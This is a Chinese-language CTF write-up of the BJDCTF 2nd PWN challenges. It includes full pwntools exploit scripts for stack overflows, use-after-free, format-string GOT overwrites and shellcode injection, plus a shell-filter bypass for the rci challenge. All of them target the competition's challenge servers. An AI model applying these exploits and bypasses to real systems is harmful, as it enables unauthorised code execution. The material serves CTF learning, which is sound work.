BJDCTF_2nd PWN复盘
目录
- r2t3
- one_gadget
- ydsneedgirlfriend2
- r2t4
- test
- secret
- 方法一
- 方法二
- snake_dyn
- snake2_dyn
- diff
- rci
- els
r2t3
在name_check函数中有一个strcpy，看起来是溢出的机会，但是前面判断了长度，这里在汇编下才能发现漏洞
即只要长度超过255就会溢出
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 29302)
elf = ELF("./BJDCTF_2nd_r2t3")
system = elf.plt['system']
bin_sh = 0x08048760
print r.recvuntil("[+]Please input your name:\n")
payload = 'a' * 0x15 + p32(system) * 2 + p32(bin_sh)
payload = payload.ljust(260, 'a')
r.sendline(payload)
r.interactive()
one_gadget
题目给了printf的地址，根据其算出libc基地址然后计算one_gadget的地址，发送即可
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 25695)
libc = ELF("./libc/libc-2.29.so")
print r.recvuntil("here is the gift for u:")
printf = int(r.recvuntil('\n').strip(), 16)
success("printf:"+hex(printf))
libc_base = printf - libc.sym['printf']
one_gadget = libc_base + 0x106ef8
payload = str(one_gadget)
r.sendline(payload)
r.interactive()
ydsneedgirlfriend2
这题是UAF漏洞
使用了函数指针
利用UAF修改为后门函数再调用show即可
Exp:
from pwn import *
def add(size, content):
print r.recvuntil("u choice :\n")
r.sendline('1')
print r.recvuntil("Please input the length of her name:\n")
r.sendline(str(size))
print r.recvuntil("Please tell me her name:\n")
r.send(content)
def delete(index):
print r.recvuntil("u choice :\n")
r.sendline('2')
print r.recvuntil("Index :")
r.sendline(str(index))
def show(index):
print r.recvuntil("u choice :\n")
r.sendline('3')
print r.recvuntil("Index :")
r.sendline(str(index))
r = remote("node3.buuoj.cn", 28148)
system = 0x400D86
add(0x80, 'a\n')
add(0x80, 'b\n')
delete(0)
delete(1)
payload = p64(system) * 2
add(0x10, payload)
show(0)
r.interactive()
r2t4
有格式化字符串漏洞，有canary，似乎难以溢出
可以把___stack_chk_fail的got改了
不过这题的payload长度超过0x28(40)就会破坏canary
所以payload长度一定要大于40
Exp:
from pwn import *
r = remote("node3.buuoj.cn", 26346)
#r = process("./BJDCTF_2nd_r2t4")
elf = ELF("./BJDCTF_2nd_r2t4")
libc = ELF("./libc/libc-2.29.so")
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x40069C
c
''')
target = elf.got['__stack_chk_fail']
system = 0x400626
num1 = (system >> 16)
num2 = (system & 0xFFFF) - num1
payload = '%' + str(num1) + 'c%9$hn%' + str(num2) + 'c%10$hn'
payload = payload.ljust(24, 'a') + p64(target+2) + p64(target) + 'a' * 17
r.sendline(payload)
r.interactive()
test
这题或许考察的是对Linux命令的掌握
源代码如下
//test.c
#include 可以看到许多命令被过滤了
我们使用以下两条指令查看可以使用的治理
env $PATH
ls /usr/local/sbin /usr/local/bin /usr/sbin /usr/bin /sbin /bin /usr/games /usr/local/games | grep -v -E ' n|e|p|b|u|s|h|i|f|l|a|g'
这题有两种办法：
- 执行命令x86_64，然后cat flag
- 使用od *获取flag的八进制形式，然后转为str
脚本如下
od = [066146,063541,030573,030064,062461,061143,026545,033544,0000020,060541,032055,062063,026543,034071, 061460, 032455, 030465, 0000040, 031465, 061541, 062060, 063144, 076546, 077412, 046105]
flag = ""
for i in od:
tmp = hex(i)[2:]
flag += tmp.decode('hex')[::-1]
print flag
secret
这题同样有两个办法
程序逻辑就是要你猜数字，正常情况下猜对10000次给flag
方法一
利用idapython读出所有数字，发送一万次
idapython脚本如下
import idc, idaapi, idautils
guess_addr = 0x46A329
secrets = []
def get_secret():
f = open("secrets.txt", "w")
all = idautils.CodeRefsTo(guess_addr, 1)
for addr in all:
next = idc.NextHead(addr)
next = idc.NextHead(next)
secret = idc.GetOpnd(next, 1)
secret = secret[:-1]
if len(secret) == 0:
continue
secret = int(secret, 16)
f.write(str(secret)+'\n')
f.close()
if __name__ == "__main__":
get_secret()
Exp如下：
from pwn import *
r = remote("node3.buuoj.cn", 26527)
#r = process("./BJDCTF_2nd_secret")
elf = ELF("./BJDCTF_2nd_secret")
exit_got = elf.got['exit']
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x401368
c
p exit
''')
payload = 'a' #'a' * 0x10 + '\xd0' + '\x10' + '\x40' + '\n'
r.send(payload)
sleep(2)
f = open("secrets.txt", "r")
for i in range(10000):
num = f.readline().strip()
print r.recvuntil("Secret:")
r.sendline(num)
f.close()
r.sendline('1')
r.interactive()
当然这样做很费时间
方法二
buf处有一个缓冲区溢出
每猜对一次，0x46D090中的数据作为地址的数据就会建减一
如果游戏失败，则会触发下面这个函数
此外，我们发现printf的plt地址和system很接近
所以，我们可以先把0x46D090改成printf的got地址，然后猜15次，然后输入错误的数字来结束，即可
Exp如下：
from pwn import *
r = remote("node3.buuoj.cn", 28077)
#r = process("./BJDCTF_2nd_secret")
elf = ELF("./BJDCTF_2nd_secret")
exit_got = elf.got['exit']
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x401368
c
p exit
''')
payload = '/bin/sh\x00'.ljust(0x10, 'a') + '\x40' + '\xD0' + '\x46' + '\n'
r.send(payload)
sleep(2)
f = open("secrets.txt", "r")
for i in range(0xF):
num = f.readline().strip()
print r.recvuntil("Secret:")
r.sendline(num)
f.close()
r.sendline('1')
r.interactive()
snake_dyn
登录密码可以直接用微信扫出来
游戏源代码如下
#include 看到name和flag离的很近
而在getName函数中使用了strncpy，如果我们的输入大于0x100，结尾的\x00就没能被拷贝到Name中，从而可以读出flag
Exp:
from pwn import *
s = ssh(host='node3.buuoj.cn',user='ctf',password='sNaKes',port=29816)
p = s.process('/home/ctf/snake')
payload = 'a' * 0x100
p.sendline(payload)
p.interactive()
当然了这题也可以通过玩游戏到3000分并且步数达到2333获取shell得到flag
snake2_dyn
//snake.c
#include 这题需要玩到30000分才能获得shell，基本是不可能的，只能需要程序的漏洞了
注意到，问卷函数中Goal没有加取地址符&，并且这两个函数都是在GameRun中被调用的，所以我们可以在输入名字的时候把想要修改的地址留在栈上，当问卷函数被调用时，Goal的值就变成想要修改的地址来实现任意内存写
比如，把malloc的got表改为GiveAwards()
Exp:
from pwn import *
s = ssh(host='node3.buuoj.cn',user='ctf',password='sNaKes',port=25119)
p = s.process('/home/ctf/snake')
name = 0x00405380
malloc_got = 0x405078
system = 0x401CF4
payload = 'a' * (0x110 - 0x34) + p32(malloc_got)
p.sendline(payload)
p.sendline('a')
p.sendline('a')
p.sendline(str(system))
p.interactive()
打开flag之后居然是一个二维码…
用微信离远一点可以扫出
diff
程序逻辑大致为打开两个文件并输出不同的行
在compare函数中存在一个溢出
所以我们把payload放在第一个文件里，并在第二个文件中利用溢出跳转控制流到payload
Exp:
from pwn import *
context(arch = 'i386', os = 'linux')
file1 = open("/tmp/diff/file1", "w")
payload = asm(shellcraft.sh())
file1.write(payload)
file1.close()
addr = 0x0804A024
file2 = open("/tmp/diff/file2", "w")
payload = 'a' * 0x7c + p32(addr)
file2.write(payload)
file2.close()
pause()
s = ssh(host='node3.buuoj.cn',user='ctf',password='guest',port=25145)
s.interactive()
当Exp暂停时：
scp -P 25145 /tmp/diff/file1 ctf@node3.buuoj.cn:/tmp
scp -P 25145 /tmp/diff/file2 ctf@node3.buuoj.cn:/tmp
在远程机器上运行：
./diff /tmp/file1 /tmp/file2
rci
程序可以执行两次system,两次的过滤分别如下
在第一次可以执行system时，sh的工作目录位于/tmp下一个随机的文件夹，利用ls -ali查看所有文件的信息
-a 显示所有文件
-l 显示详细信息
-i 显示inode
得到当前工作文件夹的inode之后，重开一个shell,使用ls -ali /tmp筛查出到底位于哪个文件夹之下
输入该文件
参考EDS大佬的WP，利用拼接获取shell
看了TaQiNi大佬的博客后，发现也可以用下面这个办法：
x=h;s$x
els
保护全开，由于无法修改GOT表
//main.c
/*************************************************
* name: main
* 功能：实现俄罗斯方块小游戏
* 编写人：王廷云
* 编写日期：2018-3-21
* 最近更新日期：2019-7-3
* 魔改人：TaQini
* 最近魔改日期：2020-3-13
**************************************************/
#include 在showGame()中存在格式化字符串漏洞
而该函数会被循环调用，意味着我们能够多次利用该漏洞
msg文件是可以被修改的，recorde(分数)不可以
分数要大于666666才能获取shell
分数的地址偏移为0x53AC
首先我们在showGame()函数中泄露程序返回地址（官方WP是%73$p，偏移是0x1180，虽然我也不知道这是什么地方）
#msg.py
f = open("/home/ctf/msg", "w")
payload = "%42$p" #这是showGame()的返回地址
f.write(payload)
f.close()
然后利用下面的脚本修改score（看了官方的WP）
#record.py
#!/usr/bin/python
from struct import pack
from sys import argv
start = eval(argv[1])
score = start-0x16D8+0x53ac
# hex(666666) = 0xa2c2a
payload = "%20c%8$n" + pack(', score+2)
print hex(score)
f = open('/home/ctf/msg','w')
f.write(payload)
f.close()
把上面两个python文件上传到/tmp下
然后先运行msg.py，再运行els
把泄露的地址作为第一个参数运行record.py
然后玩游戏消了一行即可退出
然后重开游戏就有shell了